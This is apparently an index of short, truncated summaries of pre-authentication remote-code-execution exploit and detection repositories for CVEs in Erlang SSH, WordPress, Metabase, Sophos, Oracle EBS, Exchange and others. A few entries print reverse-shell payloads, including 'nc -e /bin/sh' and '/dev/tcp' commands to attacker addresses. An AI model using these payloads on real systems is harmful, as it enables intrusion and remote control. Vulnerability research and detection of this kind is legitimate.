CVE-2025-32433_Erlang-OTP_PoC

CVE-2025-32433Erlang-OTP このスクリプトは、ErlangベースのSSHサーバーを実行しているシステムにおける重大な事前認証脆弱性をテストするために設計されたカスタムセキュリティツールです このスクリプトは、ErlangベースのSSHサーバー（組み込みシステム、IoTデバイス、一部のバックエンドサービスなどで使用されるもの）を実行しているシステムにおける重大な事前認証脆弱性をテストするために設計されたカスタムセキュリティツールです。テスト対象の脆弱性は、SSHハンドシェイクフェーズ中に未認証のリモートコマンド実行を可能にする CVE-2025-32433...

tac_plus-pre-auth-rce

tacplus 预认证远程命令执行漏洞 本仓库包含关于不同开源 tacplus 实现中一个预认证远程命令执行漏洞的信息。以下两个分支受到影响： Shrubbery Networks tacplus Facebook tacplus 然而，这两个分支都基于一个 16 年 多前开源的 TACACS+ Cisco 开发工具包。该漏洞在开发工具包中早已存在，并被继承到了这两个项目中。需要说明的是，这项研究只关注了上述两个分支，可能还有其他分支也受到影响。 下图展示了各分支之间的关系，它们都受到影响： ----------------- | Cisco dev kit |...

typehub-exploiter

typehub-exploiter GILANG - CVE-2021-25094 のエクスプロイター 参照 : https://darkpills.com/wordpress-tatsu-builder-preauth-rce-cve-2021-25094/ ペイロード : site.com/wp-admin/admin-ajax.php バグのパス : site.com/wp-content/uploads/typehub/custom/ 感謝 : Ibnudz, Dark clown security 挨拶 : Garuda Tersakti 72. Buitenzorg...

WordPresShell

WordPresShell CVE-2026-63030 および CVE-2026-60137 WordPress コア に対する事前認証 RCE PoC。 REST /batch/v1 ルート混乱 → WPQuery authornotin SQLi → 未認証管理者作成 → Webシェル。単一ファイル、Python stdlib のみ。 脆弱性発見: Adam Kues Searchlight Cyber。影響を受けるバージョン: 6.9.0–6.9.4, 7.0.0–7.0.1。修正済み: 6.9.5 / 7.0.2。 使用法 python3 WordPresShell.py...

metabase-cve-2023-38646

CVE-2023-38646 — Metabase 事前認証リモートコード実行 概要 CVSS 9.8。Metabase の 0.46.6.1 / 1.46.6.1 より前のバージョン（および同等の以前のブランチ）は、初期セットアップ中にデータベース接続情報を検証するための /api/setup/validate エンドポイントを介して、事前認証 RCE を露呈します。このエンドポイントは、セットアップがすでに完了した後でも認証なしで到達可能です。 根本原因 このエンドポイントはデータベース接続ペイロードを受け入れ、巧妙に細工された JDBC 接続文字列で engine: h2...

CVE-2025-32433-Detection

CVE-2025-32433 検出 著者: te0rwx 作成日: 2025-08-27 更新: 2026-08-16 説明 CVE-2025-32433 （Erlang/OTP SSHの事前認証リモートコード実行（RCE）脆弱性）に関連する既知のアーティファクトを検出するためのカスタムYARAルールです。 本ルールは、公開されている概念実証（PoC）アーティファクトおよび管理された実験室環境で生成されたネットワークキャプチャに対して開発・検証されました。 検出範囲 本ルールはCVE-2025-32433に関連する既知のインジケータを検出します。具体的には次のとおりです：...

wp2shell

wp2shell WordPress Core に対する事前認証リモートコード実行。 CVE-2026-60137 （WPQuery の authornotin / authorexclude パラメータにおける SQLi）と CVE-2026-63030 （REST API のバッチルート混乱）を連鎖させ、未認証 RCE を実現します。 影響を受けるバージョン Range| Status ---|--- = 6.8.5| 影響なし（バッチルート混乱なし） 6.8.0 - 6.8.5| SQLi のみ、RCE なし 6.9.0 - 6.9.4| 脆弱 7.0.0 - 7.0.1| 脆弱...

WSO2-CVE-2022-29464

WSO2 Carbon Server CVE-2022-29464 事前認証RCEバグ CVE-2022-29464。完全な技術的分析は私のブログ記事で公開予定です： https://mr-r3bot.github.io 使い方 python exploit.py -u...

CVE-2024-57376

CVE-2024-57376 D-Link DSR-250 および DSR-250N 向けのプリオーセンスリモートコード実行エクスプロイト セキュリティアドバイザリ: https://supportannouncement.us.dlink.com/security/publication.aspx?name=SAP10415 使用方法 $ python3 exploit.py usage: 例 $ python3 exploit.py 192.168.1.1 443 id + fingerprint device: DSR-250N year : 2021 b'HTTP/1.1 200...

watchTowr-vs-Commvault-PreAuth-RCE-CVE-2025-34028

CVE-2025-34028 Commvault の事前認証リモートコード実行の概念実証 技術的詳細については、当社のブログ記事をご覧ください。 動作中の検出 python watchtowr-vs-commvault-rce-CVE-2025-34028.py --url https://192.168.1.1 / | | |\ \ \ / / \ \ / | | | | / \ / / \ \ \ / / | | \ | Y | | \ / | | / // || \ ||| | \ / // || / / /...

CVE-2026-6875-PoC-Exploit

CVE-2026-6875 - ServiceNow 事前認証RCEエクスプロイトフレームワーク & PoC検証ツール 🔥 ServiceNow AI プラットフォーム — JavaScriptインジェクション → サンドボックスエスケープ → RCE → root権限昇格 エクスプロイトフレームワーク & セーフ検証ツール 許可されたセキュリティテストのみを対象としています。 ⚖️ 法的免責事項と責任ある使用 このツールは、教育目的および許可されたペネトレーションテスト専用に提供されています。...

CVE-2019-1003000_RCE-DETECTION

CVE-2019-1003000RCE-DETECTION 総合的な概要 脆弱性CVE-2018-1000861とCVE-2019-1003000を連鎖させて、Jenkins CIにおけるPre-Auth RCEをテストするモジュールを作成しました。当初はユーザー名、パスワード、ジョブ名を使って脆弱性を検出しようと試みましたが、2つの脆弱性を連鎖させる方法の方がより現実的で興味深いと考えました。 前提条件 Windows、Linux、macOSのマシンにVisual Studioまたは.NET Coreフレームワークがインストールされていること。 環境設定（私の方法） 1...

CVE-2026-62911

CVE-2026-62911 Microsoft Exchange Server 上的预认证 RCE。无需任何凭据。 Orange Tsai（DEVCORE）在 Pwn2Own Berlin 2026 上将其作为 3 漏洞利用链的一部分使用。奖金 20 万美元，可完全接管 SYSTEM。 功能简介 Exchange 在两条路径上暴露了 MailboxReplicationProxyService（MRSProxy）。其中一条位于未启用扩展保护（Extended Protection）的 HTTP.sys 上： 路径| 托管方| 扩展保护 ---|---|---...

CVE-2025-32432

CraftCMS CVE-2025-32432 Exploit By Chirag Artani 概要 このリポジトリには、CraftCMS バージョン 4.x および 5.x に影響を与える事前認証リモートコード実行（RCE）脆弱性 CVE-2025-32432 の概念実証エクスプロイトスクリプトが含まれています。この脆弱性は、CraftCMS のアセット変換生成機能に存在します。 このエクスプロイトスクリプトは、以下の手順で脆弱性の検出と確認を自動化します。 1. CraftCMS 管理ダッシュボードからの CSRF トークンの抽出 2. PHP...

CVE-2025-3243

CVE-2025-32433 Erlang SSHライブラリのエクスプロイト CVE-2025-32433 の概念実証エクスプロイトです。これはErlangのSSHライブラリにおける深刻な脆弱性であり、不正な SSHMSGCHANNELREQUEST パケットによって認証前のコード実行を可能にします。 特徴 オリジナルエクスプロイト : Matthew Keeley 氏 更新版 : Tyler Ramsbey 氏 LHOST 、LPORT 、RHOST 、RPORT のコマンドライン引数 argparse によるビルトインのヘルプと使用方法 os:cmd"nc LHOST LPORT -...

CVE-2023-1671

CVE-2023-1671 Sophos Web Appliance における事前認証 RCE PoC curl -k --trace-ascii % "https://192.168.56.108/index.php?c=blocked&action=continue" -d "argsreason=filetypewarn&url=$RANDOM&filetype=$RANDOM&user=$RANDOM&userencoded=$echo -n "';nc -e /bin/sh 192.168.56.1 4444 " | base64" snip = Send header, 18...

watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882

watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882 Oracle E-Business Suite CVE-2025-61882 向け検出アーティファクト生成ツール 技術的な詳細は、ブログ記事 を参照してください 動作中の検出 python3 watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882.py --command 'bash -i & /dev/tcp/192.168.1.10/4444 0&1' --platform linux --target...

CVE-2026-88391

Northstar dromara/northstar, quantitative trading platform = 9.1.1 enables the H2 Console but its auth interceptor only covers /northstar/, so /h2-console is exposed with no authentication and the embedded H2 DB uses default sa / empty password. Any network-reachable attacker can run arbitrary...

CVE-2023-38646

Metabase 事前認証 RCE CVE-2023-38646 2つのファイルを用意しました:- CVE-2023-38646-POC.py - 任意のMetabaseインスタンスがsetup-tokenを漏えいしているか確認するためのツール。 CVE-2023-38646-Reverse-Shell.py - 攻撃者が管理するマシン上でリバースシェルを取得するためのツール。 CVE-2023-38646-POC.py CVE-2023-38646-Reverse-Shell.py 使い方 git clone...

CVE-2021-44077

CVE-2021-44077 CVE-2021-44077 の概念実証エクスプロイト: ManageEngine ServiceDesk Plus msiexec.exe pip install で requirements ファイルをインストールするか、requests パッケージがインストールされていることを確認してください。 リバースシェルを取得しようとする場合は、最初にリスナーを実行してください。例: nc -l 4444 次に、url と exe 引数を指定してエクスプロイトスクリプトを実行します。例: python exploit.py http://: スクリプト出力例: ...